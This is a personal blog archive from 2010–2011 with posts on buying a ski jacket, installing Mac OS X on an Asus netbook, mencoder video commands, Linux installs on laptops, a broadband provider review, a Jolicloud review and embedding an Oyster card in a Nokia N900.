The Barrieluv Blog

Skiing. What's that All About?

2011-11-08T14:20:00.000Z

And so begins a new chapter of relatively expensive geekery.

I have been lucky enough to have been invited along on a ski holiday with some family members who have been buggering off to Canada on a regular basis.

Having never skiied before, I felt it was important to learn as much as I can about the equipment needed, what to buy and what not to buy, how skiing works and, most importantly, how to have a good time.

Now, I've seen moving pictures on the television of people hurtling down very cold looking mountains at breakneck speed, people breaking their necks and people standing around in the cold, having a good time and watching other people breaking their necks. I've also seen pictures of my family larking about in the snow and looking relatively comfortable.

I larked about in the snow once (not too much of that in London) and I got very wet and very cold, very quickly. It wasn't fun.

So, it made sense to do a little research into how I could have fun, too. Thinking logically, this means keeping warm and dry. And it turns out, keeping warm and dry whilst up a mountain in sub-zero temperatures is fairly easy, if a little expensive.

The first thing that came to mind was that I would need a jacket. I thought buying a suitable jacket would be easy. So, I joined a forum (well, what did you expect) and then started googling.

I was so, so wrong.

HOW MUCH?!
I swear, the first jacket, on the first website I looked at, cost nearly six hundred pounds!
There is no need for this sort of silliness.
Taking a look round the discount sites eased my heart rate somewhat and it appears that a great many skiers buy end of line or last season's gear as it tends to be a great deal cheaper.
I saw jackets for thirty quid in TK Maxx near where I live, but as soon as I touched them, I knew they were not going to suit my needs. They do get decent stuff in, so it's always worth popping in to see what's new.
It turns out there are different types of jackets, too. Heavily insulated, lightly insulated and non-insulated, which is called a shell jacket.

Underneath your jacket, you will need to wear things (layers) that will help to keep you warm.
More on that when I buy some.

Keep in mind that not all brands are equal, as I have discovered. To be on the safe side, I tended to look at well known outdoor brands. The North Face, Helly Hansen, Oakley, Salomon and a lesser well known brand, Trespass.

There are those that would argue what I was doing was wrong, but, hey-ho.
You pays your money, you takes your choice.

So, what did I look for in a jacket?

A jacket needs to be waterproof.
Yes, it's a case of stating the bleedin' obvious. When you're surrounded by snow and it could rain at any time, you need to be protected. It would follow, therefore that almost all the jackets I looked at were waterproof.

Strictly speaking they should be called water resistant, but that's a whole other argument.

There are many different materials available with different levels of water resistance.
The industry standard for measuring the fabric's water resistance is to place a column of water on the fabric and increase the length of the column of water, increasing the water pressure to find the point at which the water starts to permeate the fabric.
The column of water is then measured in millimetres to give the fabric's water resistance rating.
For example, a jacket may have a 14000mm rating whilst another may have a 5000mm rating.
The higher the number, the better the water resistancy of the material.

It's also worth noting that the seams of the jacket (where the stitching is) need to be sealed. This is done with a resin or glue.
So, a "fully seam sealed" jacket is better than a "critically seam sealed" one.

Easy, no?

Then it turns out that the jacket needs to be able to breathe. WTF?
This is because when you sweat, the moisture produced evaporates. But if you don't allow the moisture to escape, you will get wet. A bit like a sauna. I had a coat once that used to keep me really warm, until I started to sweat. Because the moisture couldn't escape, it made the inside of the coat wet, which then made me cold.

Silly, really.

I'm still not sure how breathability is measured, and there is no agreement on how it should be measured, so as long as it says breathable on it, it will probably do the job.

Here's a quote from Ski Adventure Guide :

How do we measure breathability?
This is a little more difficult than measuring waterproofness.
All the countries cannot agree on standard methodology.
Three tests being utilized are;
a/ upright cup test-measures water or vapour transmission
b/ inverted cup test-measures amount of water absorbed by the fabric
c/ sweating hot plate-measure moisture loss due to heat application, similar to our skin heating up to influence rate of evaporation of vapour.
One outcome is a mathematical figure which tells us how many grams of water vapour have diffused,or passed through a 1m2 of fabric in the time of 24 hours .
In other words how much in this case vapour will pass through a section of a fabric in 24 hours. This figure is quoted as, for example, 10,000 gm / m2/ 24hrs.
For recreational use, choose fabrics with minimum breathability as shown above. Be mindful however,that a breathable waterproof jacket which has a very high waterproof rating of 20 plus, or even 45, being usually triple layered ,will not attain a very high breathability, usually less than 12,000 gm / m2 / 24hrs.
Another outcome of performing the above testing ,is the RET figure (resistance of evaporation of a textile).
This figure is quoted as ie RET= 60. Since we measure resistance, the less resistance we have the better. So RET = 60 has better breathibility than RET =90.

Clear as mud.
Or maybe I'm just not very bright.
It certainly doesn't help that different brands use different ways of telling us how breathable their jackets are.

Many of them look like an accident in a paint factory.
Seriously, what are these people taking?
I've seen what could only be described as multi-coloured abominations.
I have no no doubt that the ability to be spotted from the air when trapped on a mountain will appeal to some, but I wanted something a little less garish.
Luckily there are some plain ones, which is good, because I intend to wear mine down the pub and on the high street.

The jacket will have any number of extras built in.
Pockets seem to be a popular extra. You can have a goggle pocket, an audio pocket, a utility pocket, a lift pass pocket, a GPS pocket, a secret pocket, inside pockets, outside pockets, zipped pockets, big pockets, small pockets, fleece lined pockets, Polly Pocket and a Pocky pocket.

I may have made that last one up.

A snow skirt seems to be a popular one, too. It sits inside the waist of the jacket and you do it up. It stops snow from going up your jacket, which can only be a good thing. Some are removable, too. Which is nice.

Hoods are good, too. They go over your head. Some of these are removable as well.
Not the heads, the hoods.

Vents are also a good one to look for. If you begin to get a bit too warm, these can be opened to help regulate the temperature inside the jacket.

Stretch panels, articulated sleeves, pant connector systems, wrist gaiters... the list goes on and on.

Choosing my jacket.
I read endless forum posts and blogs and adverts, trawled through countless pages on seemingly endless online ski stores and, when I had screwed my head back on, it boiled down to this:

The jacket needed to have a decent water resistance rating. I wanted a minimum of 10000mm.
It had to at least say it was breathable. I guessed if it was a reputable brand with a decent water resistance rating, it's breathability would be acceptable.
It needed to have a fair amount of insulation, two or more pockets, a removable hood and a snow skirt.
It had to be fairly plain, preferably black.
It had to cost less than £200.

Going shopping.
As well as trawling the internet, I went to Covent Garden and visited the Trespass store along with the Snow & Rock store and The North Face store. Here I discovered that some staff are very knowledgeable and some aren't. I also discovered that I would need a small size, which was helpful as I was sure I would end up buying online. The difference between brands is difficult to work out, but at least I got a good idea of how my jacket should feel. Not too tight, not too baggy, warm but not overly so and overall, some just felt better than others.
The tickets attached to them extolled all sorts of virtues on the the jackets, many of which seemed superfluous so I learned to look at just the water resistance number and then try it on.

In all honesty, the only thing I came away with was a headache. But I now knew what size to buy.

And then I went to John Lewis and...

BINGO!

The Helly Hansen Brevent jacket. It costs £190 and it does exactly what I wanted it do.

It's water resistance rating is 17000mm and fully sealed seams so it should keep me nice and dry, whatever the weather.
Breathability is rated at 12000g, but I have to admit that the number here doesn't really mean much to me. This is all provided by a Helly Tech Performance layer.

It's insulated. According to the Helly Hansen website, it has "insulated two layer construction".
The site also speaks about "Warmcore by PrimaLoft" which is a water resistant thermal material.
Either way, after adding a layer or two underneath, I know this will keep me warm.
Vents under the armpits will help to regulate the temperature if I get too warm.

Pockets! The waist pockets, where you would normally put your hands, are nice and big and have a fleece lining. There's a chest pocket with a sort of seal over the zip to stop the elements getting in. A pocket on the left sleeve below the elbow for your lift pass. I've never even seen a lift pass so I don't know how much use this will be. Inside the jacket on the right, A rather large, zipped pocket, marked "Utility Pocket" and another smaller one on the left, marked "Comms Pocket". No Pocky pocket, though.

There's a snow skirt which buttons up out of the way when not in use and a hood which is removable. The hood has a sort of stiffened panel at the front. I'm sure this is useful.

Adjustable cuffs also feature and a good job too, as these cuffs are as wide as Gandalf's sleeves. Should be good for getting gloves on, though.

Black is what I wanted and black is what I got. The photo above makes it look like a very dark grey, but it is black.

And there you have it!
It wasn't an easy choice, but I got what I wanted. Whether or not it's what I needed is another matter and I will only find this out come February.

Next, I will be mostly looking at trousers... and installing the new Linux Mint "Lisa" when it arrives.

EeePC 1005HA + Snow Leopard 10.6.3 = MacEee

2011-07-16T20:33:00.028+01:00

Why did I install OS X Snow Leopard on my trusty 1005HA?

Good question.

The answer is (naturally) because I could. It certainly wasn't because I had a need for it, Ubuntu does everything I need, but I really wanted to see what all the fuss was about. I've never used Apple's OS before and this seemed like the perfect opportunity to have a nose round.

How did I do it?

First things first (as opposed to first things last):
You will need an external CD/DVD drive.
You will also need a copy of iATKOS_S3_version2.iso. Google it.
And, finally,the files IO82011.Family.kext.zip and KextHelperb7.zip. These two are available in plenty of places, but I have them on my SkyDrive for convenience.

Lets go!

1. First, get the two .zip files and put them on a flash drive or SDHC card.

2. Download the .iso file. Now, I already own a retail version of OSX Snow Leopard but it's a nightmare to get working. The iAtkos version includes the drivers needed for this to work.

3. Burn the .iso to a DVD. I recommend burning it at a slow speed as burning at faster speeds often causes issues.

4. If you haven't already done so, back up any files you may require later.

5. Shut down the EeePC and attach the external CD/DVD drive. Turn on the CD/DVD drive and insert the DVD that you burned. Now boot the EeePC and hit the F2 when you see the grey Asus splash screen to go into the BIOS.

6. Once in the BIOS, go along to the 'Advanced' tab and then down to 'IDE Configuration'.

7. Your 'ATA/IDE Configuration' needs to be set to 'Enhanced' and underneath that, 'Configure SATA' should be set to 'AHCI'.

8. Once done, hit Esc, go along to the 'Exit' tab and 'Exit & Save changes'.

9. When the grey Asus splash screen appears tap the ESC key. the boot menu will appear. Choose your CD/DVD drive.

10. You should see the Apple logo appear shortly. Give it some time to do it's stuff.

11. When the desktop welcome screen appears, click next. At the top of the screen is a menu. Go to Utilities and select click on Disk utilities.

12. Choose your drive on the left hand side (it will probably be called 'untitled'). Now hit the erase button again and choose 'Mac OS Extended Journaled' as the format and hit erase. Wait for it to finish, it should only take 30 seconds at the most. When it's done, close the window.

13. Click continue until you reach the screen where you are asked to select the disk to install to. Select the disk.
NOW, STOP! DO NOT HIT THE INSTALL BUTTON!
You need to click the customize button before we go any further.

14. Tick the options below and do not untick anything that is already ticked. So, to reiterate, you should only add ticks, not remove any. Got that?

BOOT
ASEREBLN ASEREBLN

BOOT OPTIONS
32BITS 32bit
GRAPHICS ENABLERS Enablers GRAPHICS
ETHERNET ETHERNET BUILTIN

PATCHES
CREATE EXTRA
FAKESMC
DISABLER DISABLED
RTC

KERNELS
KERNEL ATOM
EVO REBOOT
SLEEP ENABLER
UUID
SATA-IDE DRIVERS
SATA AHCI

SOUND
VOODOHDA

PS2
APPLEPS2

POWER MANAGER
VOODO POWER

LAPTOP HARD
BATTERY
CARD READER
THERMAL ACPI

VGA
INTEL
EFI STRING
GMA950 27AE

WIFI
RALINK 2860 32BIT

WIRED ETHERNET NETWORK
ATLANSIC L1E

15. Once you are done, go back and check your ticking. Once you are sure you got it right click 'OK'. Now you can hit the 'Install' button. Installation seems to take forever. Move the cursor occassionally to stop the computer from dozing off.

16. Once it's finished it will reboot.

17. Let the computer boot into it's new OS. This will take forever, but it's only this boot that will take this long.

18. You'll know it's getting there when you hear a cover of 'Staying Alive' from Saturday Night Fever. Be patient, the desktop will appear shortly. You will now be asked for your keyboard setup, personal details and a password.

19. Now before you start messing with stuff, insert the flash drive or SDHC card with the .zip files on it. The drive will appear on the desktop. Drag the .zip files onto the desktop.

20. Double click the files to unzip them. Double click on the Kext Helper and then drag the kext file into the Kext Helper window. Enter your password and click 'Easy Install'.

21. Once finished, reboot. If you get a message saying Kext Helper isn't responding, force it to quit. It will take an age for reboot to happen. It will look as if it's just hung, but leave it alone. It WILL reboot eventually. So just wait.

22. Upon reboot, wireless should now be working. If not, try the Kext Helper again and reboot. This took me several attempts on one install but it usually works first time.

And that's it!

Now, the dock at the bottom can be a little intrusive on the EeePC's small screen, so click on the Apple logo (top left) > Dock, and click on Turn Hiding On. You could also move the dock to the left side if you feel that way.
You may have noticed that the touchpad tap-to-click doesn't work and there's no scrolling either. I did attempt to fix this by using a Kext I found somewhere on the net, but it royally screwed up the desktop and I had to reinstall.
The only Fn buttons that seem to work are the brightness buttons.
You may also notice that there are updates available. Do not install the Mac OSX Update Combined. I did, which required another reinstallation. The other updates were fine, though.
The Photo Booth app, while being enormous fun, is a little too big for the screen and I'm yet to find a way dealing with that.
What, no office app? Get Libre Office for that. I got Gimp and Chrome, too.

Overall, it's stable, is fairly nippy on the netbook and it looks nice.

What's not to like about it? Plenty. But I'm not going into that as it's largely subjective.

But popular as Apple stuff is, I'm not planning to switch to it. I just don't like it enough. It's too bloody nice.
After all, I'm the bloke who uses Linux, owns an unpopular phone, is planning to switch to another unpopular phone and encodes all his music in the FLAC format.

So, in conclusion: Boring.

Rotating Video

2011-04-26T20:00:00.004+01:00

The missus just took some video footage of me cleaning the windows. I don't know why. Maybe she's secretly entered me for a George Formby look-a-like competition. I wouldn't put it past her...

Anyway, it was shot with the camera (a Sony Cybershot) held sideways so the resulting video, an .mpg file, was the wrong way round.
She wanted to rotate the video and opened it in PiTiVi in the hope that it would do it for her.
But it wouldn't.

So, after a little bit of searching I found this command, which will do it for you. You will need mencoder installed... Just change the INPUT.AVI bit to the name and extension of your file.

mencoder -vf rotate=1 -o OUTPUT.AVI -oac copy -ovc lavc INPUT.AVI

Kudos to the chap who posted it originally, a Mr Jose Catre-Vandis, no less!

Ubuntu 10.10 on the HP Pavilion DV6-3131SA

2011-03-27T11:33:00.010+01:00

I got my new laptop yesterday from the nation's favourite retailer, John Lewis. It set me back £649 and this is what I got for my money:

Processor: 2.1 GHz AMD Phenom II Triple-Core Processor N830 (Level 2 cache 1.5 MB)

RAM: 4GB DDR3 (2 x 2048 MB) Upgradeable to 8GB DDR3

Graphics: ATI Mobility Radeon HD 5650 Graphics (switchable) with up to 2685MB total graphics memory with 1 GB DDR3 dedicated

Display: 15.6" High Definition LED BrightView Display (1366 x 768)

HDD: 500GB SATA 7200 rpm

Optical Drive: Blu-Ray ROM with Lightscribe SuperMulti DVD±R/RW Dual Layer

Network Card: Integrated 10/100/1000 Gigabit Ethernet LAN

Wireless connectivity: WLAN 802.11 b/g/n and Bluetooth

Sound: Altec Lansing speakers (Dolby Advanced Audio)

Keyboard & Pointing Device: Full size island-style keyboard & HP Clickpad supporting Multi-Touch gestures with On/Off button

Card Reader: 5-in-1 Digital Media Reader

External Ports: Ethernet, VGA, Headphones, Microphone-in, 3 USB 2.0, eSATA + USB port

Webcam: VGA HP TrueVision

And it comes with Windows 7. Which isn't a bad thing, but it ain't for me.

Here's how it looks:

It has a nice lid with an engraved pattern and a little HP logo which lights up:

The engraving is continued across the front where you will also find the power button and the fingerprint scanner There were three stickers on the right which I promptly removed. I'll get rid of the one on the left as soon as I can:

Ports on the left side from left to right are VGA, Ethernet, HDMI, E-SATA (which doubles as a USB 2.0), USB 2.0, Mic, Headphones, Card Reader:

Ports on the right side from left to right are, USB 2.0, Optical Drive, USB 2.0, AC Power Socket. There are also three LEDs here for Power On, HD Activity and Battery Charging:

Now, I should point out that this wasn't my first choice. I originally bought an Acer 5745 (i5 Processor), but having got it home and installed Ubuntu 10.10, it turned out that while the onboard HD graphics were available to me, the 1GB graphics card would probably never be available to use. This is because it uses Nvidia's Optimus Technology to switch the graphics cards and that can only be done using Windows 7. No, you can't use Vista or XP and it appears that no Linux distro will do it either.

So, how's Ubuntu 10.10?
Windows 7 never saw the light of day on this machine. I hooked up the AC power, inserted my Ubuntu 10.10 USB stick, powered up, hit ESC after the HP splash screen and chose to boot from USB.
Once it was up and running, I hit the installation icon. I chose to use the entire disk when asked.
When it was all done, I rebooted and inserted my Ethernet cable.
Then I opened Synaptic, reloaded and applied all updates. Then I installed the Broadcom and ATI restricted drivers and rebooted again.

At this point I discovered that the right-click on the touchpad didn't work. Luckily, a workaround was found for this issue. It's not very elegant and there's no multitouch but it restores the right-click, which is what I wanted.

And this is the only time I've had to use the command line during this install.

What's working? And just as importantly, what isn't?

External display ports work (connected via HDMI and VGA to TV).
Ethernet works (connected to router).
USB ports work correctly (tested with external HDD).
Display is at the correct resolution and sound via internal speakers work. Headphones also work.
The optical drive works (ripped a CD with RhythmBox), as does the eject button.
The card reader works (tested with an 8Gb SD).
Webcam and built in microphone work (tested with Skype).
Bluetooth also works (transferred a file from my Nokia N900).
Keys for display brightness (up and down), volume (up, down and mute) work.
Keys for Play/Pause, Next track, Previous track and Stop all work with RhythmBox.
On the left hand side of the keyboard, the Calculator key starts the calculator, the Email key starts Evolution and the Key with a globe on it (I assume this is supposed to launch the web browser) starts Nautilus. The other two keys don't appear to do anything.
Suspend on closing the lid works and it will come back correctly and connect to the wireless network correctly.

The key for toggling wireless connectivity sort of works. It will correctly toggle Bluetooth On/Off (the Bluetooth icon disappears and comes back) but it doesn't actually switch the wireless card off. It just disconnects/reconnects to the access point.

The fingerprint scanner doesn't appear to work, but I haven't researched how to get get it working, if it does at all.

The graphics card can be configured with the ATI Catalyst Control Centre which you can find under System > Preferences. I'm not too hot on this subject, so further testing will be needed.

With the patch applied, updates applied and restricted drivers installed, it was time to set up Ubuntu the way I like it.

New Bag Alert!!

2011-03-02T23:41:00.003Z

Today I took delivery of my new laptop bag.

And I love it!

It's got more pockets than you could shake a stick at, it's got two (TWO!) Ubuntu things on it, three of the zip pulls have the Circle Of Friends logo on them, it's got a handle and a shoulder strap and it's black and everything!

And now I need to get a laptop for it...

Anyway, you can get one from the Canonical Store if you so wish. It's not the cheapest laptop bag on the market, but it is made by the good people at Ogio and, by purchasing from the Canonical Store, helps to support the Ubuntu foundation. And considering how much I've taken from them over the last six years it only seems right to give a little back.

Installing Linux Mint On A Dell Inspiron 2200

2011-02-27T12:11:00.009Z

Lately, I've read forum posts and blog comments from people who are still convinced that installing Linux involves messing around with the command line at every turn, that dependency hell when installing software will ruin your Linux experience and that wireless just doesn't work.
They also say that Linux is not ready for the desktop.

This, my friends, is bollocks.

We have a temporary house guest staying at the moment and when she described her laptop, a Dell Inspiron 2200, as ancient, that it had been dropped on a number of occassions and takes forever to do anything, I offered to take a look. She also described herself as technically retarded. I was pretty sure I could fix the laptop, but not so sure about fixing her technical retardation.

So I connected it to the mains (the battery is completely shot) fired it up and once it had passed the Dell splash screen it started to boot WinXP. And then it promptly gave me the BSOD.
I tried booting to its last known good configuration, safe graphics mode, safe mode without graphics etc. but to no avail.
I booted Linux Mint from a USB stick and had a look at the hard drive using gParted. Checking the drive threw up an error and it wouldn't fix it.
I searched for and tried a number of solutions, but it just wasn't having it.
Sian, for that is her name, mentioned buying a Macbook to replace this machine (an excellent choice), but I was determined that this laptop wouldn't go to the local recycling facility without a fight and suggested that she let me install Linux Mint 10.

So, in went the Mint Linux live USB alongside an ethernet connection, I double clicked the installer, answered a few simple questions and within half an hour it was done. Rebooting, installing all the latest updates and rebooting again brought me to the desktop.

Then something popped up suggesting a driver for the wireless card. I chose to install the driver, the wireless card sprang to life and I was able to connect to my WPA2 encrypted network.

Then it turns out that Sian has been using a mobile broadband package on the Three network using a Huawei E220 dongle/modem. Having plugged one if these into my Ubuntu box, I know that it works out of the box. But, it turns out that this isn't the case with Mint 10. Which is odd.
Anyway, the solution to this was to boot with the dongle/modem inserted. You can then unplug it and plug it back in and it will still be picked up until you close down the computer, when it must be booted with it inserted again for it to work. Not great, but it works.

She asked for Picasa to be added and it was just a case of opening the Software Manager, searching for Picasa and hitting Add. I also added the Frozen Bubble game. Everyone likes Frozen Bubble.

After I had finished doing everthing, I closed the machine down and handed it to Sian.
She almost instinctively knew where to find everything, it connected automatically to my wireless network and within a couple of minutes she was surfing, exploring the menu and asking if Adobe Acrobat Reader was available. I explained that it really wasn't needed and when she clicked on a .pdf file it would just open in a reader. And it did.

And she is a very happy bunny.

She is no more technically aware than she was when she ran Windows, but she's a lot happier.
Not once has the command line been called upon, the wireless works, her mobile broadband works and installing software is easier than it is with Windows. She may well still get a Macbook, though, if only to give this design nightmare from Dell to someone else.

It doesn't exactly fly when running two or more programs, it's a relatively slow processor and it could use some more ram, but for web browsing and media playback, it works just fine.

So, if you're a first time user and would like to experience the incredibly easy to install (and use) Linux Mint 10, click here and get the full featured DVD edition :)

Upgrading The Netgear Router Firmware With FireFox

2010-11-06T19:01:00.003Z

Okay, so I'm now the owner of a Netgear DGN1000 Wireless Router & Modem.
And when I logged into the router for the first time, itchecked to see if there was a new version of the firmware.
Which there was.
But it just hung with a "This could take few minutes" message.
So, I popped off to the Netgear website, got the latest firmware, logged into the router and attempted to upgrade using the file.
"This will take a few minutes", my arse.

So, what to do? After a scout round the Netgear forum, it looked like I was out of luck. "Internet Explorer is required" seemed to be the only answer bobbing about.

Pathetic, isn't it?

Still, A solution wasn't too far away for this FireFox user.

Simply go to Tools > Add-ons, search for User Agent Switcher and install it.
When Firefox restarts, go to Tools > Default User Agent > Internet Explorer and choose one.
Now log into the router and upgrade your firmware.

Sweet!

Starting Out With Plusnet

2010-11-06T11:41:00.011Z

Well, it was going to happen eventually. We moved into a new property recently and getting a home phone and broadband installed was something that just had to be done.

I've never had contracts for either of these before (don't ask) and had a look round at what was available. A recent copy of PC Pro magazine listed the top ten suppliers according to a reader's poll. Top of the list was Zen Internet (seven times now!), but it's not particularly cheap. O2, my mobile provider, was also up there in the top five, but I don't like putting all my eggs in one basket. I'd heard good things about Plusnet who were also listed in the top five. Having seen the TV advert and checked out the site, I decided to go with the Plusnet Extra broadband and Talk Evenings & Weekends home phone packages along with a router.

So, on the 10th October, I went through the registration process on the website which was an entirely simple and painless process. As I was having a phone put in, I had to choose three dates for BT to send an engineer. My first choice of the 25th October (between 8am and 1pm) was the soonest date available, so that meant a two week wait. I don't know if this is normal for BT but it seems a little excessive.
A confirmation email regarding my direct debit setup quickly followed and a "Welcome to Plusnet" email arrived a few minutes later with various information regarding my Plusnet account.

On the 11th October, I received an email, "We've place your Home Phone order" and shortly after I recieved a call from Simon, who had a heavy Yorkshire accent, at Plusnet confirming the installation date. I also received an email saying Plusnet was now following me on Twitter.

The BT engineer turned up on the 25th October, just after 8am. That's pretty damned efficient! He checked the master socket and then the other sockets round the flat, one of which doesn't appear to work properly, but I wasn't planning to use it anyway.

The engineer's visit was followed on the 26th October by an email from Plusnet, "Your Home Phone is now active", containing my username, call credit and phone number.
Two other emails arrived that day with regards to payment by direct debit.

Two more emails arrived on the 27th October, one regarding advance notice of direct debit payment and the other informing me that my broadband order was being processed.

By this time, I was aware that my broadband would be ready for use on the 03 November after 12pm.

Then, on the 30th October, the router arrived. Or it tried to. I got home to find the postie had stuck one of the dreaded "We tried to deliver..." cards through the door and it informed me that I had to wait 72 hours before calling in at the sorting office to collect it..
Now, the first issue here is that if Plusnet had informed me that the router was en route, I could have arranged for someone to be here. As it was, I received a Service Notice on the 1st November saying the router had been dispatched.

Too late, Plusnet. You lose a point.

The second issue isn't a Plusnet issue. I called in at the sorting office on the 3rd November (the date my broadband was due to be connected) only to be told they couldn't find my parcel and couldn't provide a reasonable explanation as to what had happened to it.

So, I popped into Argos and picked up a Netgear DGN1000 wireless router/modem, as I really wanted to get online as soon as possible. I then raised a question on the Plusnet support explaining what had happened. They promptly replied, saying they would send out another router. Which was nice.

My broadband, however, wasn't activated until the 5th November. This does happen, I pretty much expected it, and it wouldn't have been an issue if Plusnet hadn't said that if the date of activation changed, I would be emailed about it. But no mail was forthcoming regarding this.

So, Plusnet, you lose another point.

Emails arrived on the 5th November regarding broadband activation, payment for broadband and one telling me that my Plusnet Protect software was ready for download.
Essentially, Plusnet Protect is an anti-virus package provided by McAfee, for which users are charged £2 a month for.
Sorry, Plusnet, it's all Linux in this household, so that's a non-starter.

So here I am, 27 days on from signing up and all is good. I still don't have a Plusnet router, but that's okay as the Netgear only needed my Plusnet account username and password to connnect to the internet.

Overall, the whole thing was really quite painless.

BT needing two weeks to send an engineer to install a phone and Royal Mail losing my router are par for the course, according to the general public, so they score no points.

Plusnet, you lose a point for failing to inform me in time that my router had been dispatched and you lose another for late delivery of my broadband. But you get half a point back for quick and efficent support with regards to my missing router.

Plusnet, you scored 8.5 out of 10. Well done!

Recording My Desktop

2010-07-24T15:56:00.004+01:00

There aren't many desktop recorders for Ubuntu and the one I use is called recordmydesktop. It can be found in Synaptic and the Ubuntu Software Centre.
However, it only outputs to the .ogv format which is no good for uploading to YouTube and I couldn't find a converter. So, after a little Googling I came across a command which will convert it to .avi
To make it a little easier, be sure to record your desktop to your home folder and then when it's done, open a terminal and type:

mencoder thenameofthefile.ogv -ovc xvid -oac mp3lame -xvidencopts pass=1 -o output.avi

And watch it fly! Soon enough, you'll have a file called output.avi which you can rename and upload.

Note: You will need to have mencoder installed

Jolicloud 1.0 Has Landed!

2010-07-21T09:28:00.021+01:00

It's taken the best part of a year to arrive, it's sporting a new interface and it's still a Ubuntu based distro.
Yes, Jolicloud has finally shed it's beta tag, but is it all it's cracked up to be?
Let's have a look...

Being a Founding Member (how grand does that sound?), I was lucky enough to get my upgrade before most other users. I had installed the beta on my girlfriend's EeePC 1005P and when I received the invitation to upgrade (via email) I simply logged on to my Jolicloud account using her machine and looked at the updates.
Lo and behold, I got this screen:

A quick click on the Update Now button started the process:

When it had finished, which didn't take long, it asked for a restart:

After logging in, it asked me to connect to the internet.

This threw me a little, as my wireless was connected (as you can see by the icon in the system tray, but after checking that I was connected to the net I hit the "Okay, I'm Online" button.
Then it asked me to sign in to my Jolicloud account...

And then the desktop appeared.
I should point out that successive restarts did not ask me to connect to the net or sign in to Jolicloud. It's a regular Boot > Login > Desktop affair.
On first run, shortly after the appearance of the desktop, it asked to synchronize some apps. I'm not entirely sure what it meant, but I went along with it anyway.

So, this is the dektop:

It's different enough from the old netbook interface to warrant the amount of work that has gone into it, but at the same time it makes you wonder why they stuck it on top of the first non beta release. Surely beta releases are what this kind of thing is for? Then again, it makes sense that they are slowly rolling out this upgrade, which I have to assume will give them time to make some fine adjustments as the opinions and bug reports roll in from the community.

Ignoring the big, green Add button for now, there is an icon laden bar next to it which holds other stuff.
The first button will bring you back to the Apps desktop. The second button, with the satellite dish, is the Social desktop where you can, if you're that way inclined, socialise with other Jolicloud users.

Nope, I'm not following anyone and I am not being followed. This, for me, remains a mystery. Why would I want to follow other users? I'm sorry Jolicloud, but I'm just not interested in seeing what other users are doing. I've got the rest of the net and it's community to find out what the latest and greatest apps are.
I've no doubt that there are users who find the social side of Jolicloud attractive and useful, which of course is one of your goals.
But, it just ain't for me.

Anyway, the next icon along is a folder. Any guesses as to what this might do? Because if you think it's going to make your file manager appear... You. Are. Wrong.

Yes, it does look a little like a file browser, but if you click on one of the folders...

...Nautilus appears!

Um, I'm not sure about this. It seems that the file browser desktop opens the file browser. In which case, why not just make the icon open the Nautilus file browser? Or put a shortcut to the home folder somewhere on the Apps desktop?
Down the left side of the screen are buttons that will synchronise folders with various online storage facilities which is very handy for those living in the cloud. Another hit for the Jolicloud team who are really pushing this distro at web based users! Well done!
But, again, it just ain't for me.

Back to the icons and the last one is a cog and this is where you can look at your Jolicloud account details, which devices you use Jolicloud on and so on.

Now, the devices bit shows which devices you run Jolicloud on. Jolicloud will automatically sync all your Jolicloud devices, thereby every time you make a change to your setup, it will save your preferences somewhere in the cloud. Next time you log in with a different device, these changes will appear there also.
They've really got the hang of this cloud thing, haven't they?

So, the big, green Add button.
Hit it and you're taken to a mind boggling selection of apps to add to your desktop.

All you have to do is hit the Add button next to the app you wish to add. You are not asked for the root password and it it installs it with the minimum of fuss. It's as painless a process as you could wish for. The app will appear on your desktop automatically and if your desktop is full, it will appear on a second desktop, which will be automatically created. Like this:

At the bottom of the screen are some white dots, which represent your desktops. Moving apps from one desktop to another is as simple as dragging them to the relevant dot. Removing application icons is as easy as clicking on the name of the app on the desktop and choosing Remove from the menu that appears.
So, adding, moving and removing apps from the desktop is a very easy process. If you're an Android user, you will understand how it works already.

However, I am at a loss when it comes to removing the application completely. In my example above, I added Skype. I have now removed the icon from the desktop but there is nowhere, I'm sure of it, that allows you to remove the app from your system.
Yes, I could open Synaptic and do it through there and I could do it from the command line, but these options are unknown to the uninitiated. I can only imagine that this will be rectified in a forthcoming update.

22/07/10 Edit: A Jolicloud rep has confirmed that the developers are working on this issue and an update will be issued! :)

So, what else? Running on this machine, all the hardware (minus some hotkeys) works out of the box. It's quick, much quicker than Ubuntu's NBR and it comes with plenty of codecs, flash and all that jazz, giving it's user experience the edge over many other distros. Updates are all handled by the system in the background, so you don't have to worry about that any more.

My missus loves it. She can surf, do her emails and office paperwork, watch video, listen to music... nothing too taxing. She owns an HTC Desire and has likened this release to using Android. And that's a good thing.
It's incredibly easy to use, if a little confusing at first, and it's as stable as you could hope for. And it's screaming to be put on to a touch screen device.

If I was building an iPad clone, this is the OS I would choose for it. Jolitouch, anyone?

9/10

Oyster in my N900. Second attempt. Fail!

2010-06-06T11:58:00.013+01:00

Okay, here we go again. Only this time, after soaking, I'll attempt to keep the chip/aerial encased.

Step One: Soak the Oyster card in nail varnish remover. This stuff has acetone in it. The last lot didn't. I'll give it exactly two hours.

Step Two: Discard what I don't need and use a scalpel to remove excess plastic. This took me a while (or at least it seemed that way. I'm no artist and certainly no surgeon so it's a bit ragged.

Okay, I tried it this way first:

This way, the aerial goes around the camera, tight up against the edge of the case. This proved to be problematic in that, no matter how many times I tried it, the caseback wouldn't sit flush with the phone. It stayed on, but it didn't feel at all safe and the last thing you need is the back popping open and the battery falling out.

Then I tried it this way:

This way the aerial cuts across part of the camera shutter mechanism, but it didn't interfere with it and the case went on flush to the phone, but I could feel it was a bit of a squeeze.

So I trotted off to the newsagent where I attempted to top it up. The bloke in the shop looked at me as if I was a nutter as I pressed the phone up against the reader and asked "Is it registering?"
"No," came the reply. "That's a phone. This is for Oyster travelcards. Do you have one?"
There was a queue behind me, so I wasn't really in the right place to stop, remove it from the phone and check to see if it was working. I'll save that for a place with lots of readers.

I'll take what's left of the card to the tube station tomorrow and see if it works at all.

Frustrating.

Oyster in my N900? Not quite...

2010-06-05T15:18:00.003+01:00

Well, I got to the tube station and it drew a blank. Nothing happened. I took the back off my phone and tried it face down against the reader, but no joy. I removed it from the phone and tried it "naked". Still nothing. And then I noticed that the aerial had come away from one side of the chip! Damn and blast it's fragility!
So, I'll pick up another one (I've got lots of nail varnish remover left) and give it another go.
I found this video, so I know it can be done. It looks like I may have to run the aerial all the way round the case back to get it to work properly, though.
Results to follow...

Oyster in my N900!

2010-06-04T17:47:00.014+01:00

A colleague of mine told me about how he saw people using their phones to go through barriers on the Tokyo metro. Maybe it's just me, but I thought that sounded pretty cool! Google revealed that London's Underground system will be getting a similar facility sometime around the end of 2011, maybe. But I can't wait that long! So, I've given it a go myself.

The first step is to get your equipment.
